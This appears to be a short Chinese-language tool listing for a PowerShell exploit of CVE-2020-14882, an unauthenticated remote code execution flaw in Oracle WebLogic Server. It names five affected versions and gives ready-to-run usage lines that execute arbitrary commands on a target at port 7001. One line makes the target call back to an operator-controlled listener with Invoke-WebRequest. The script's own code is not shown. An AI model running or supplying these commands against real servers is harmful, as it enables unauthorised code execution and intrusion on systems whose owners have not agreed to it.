CVE-2020-14882 — 用 PowerShell 重写的 CVE-2020-14882 | Kitploit

Oracle WebLogic 未授权远程代码执行漏洞利用工具

此PowerShell脚本利用CVE-2020-14882实现对Oracle WebLogic Server的未授权远程代码执行，受影响版本：

10.3.6.0.0
12.1.3.0.0
12.2.1.3.0
12.2.1.4.0
14.1.1.0.0

用法

.\exploit.ps1 -target 'http(s)://target:7001' -command 'your_command'
.\exploit.ps1 -target 'http(s)://target:7001' -command 'nslookup your_Domain'
.\exploit.ps1 -target 'http(s)://target:7001' -command 'powershell.exe -c Invoke-WebRequest -Uri http://your_listener'

参考

ExploitDB上的漏洞利用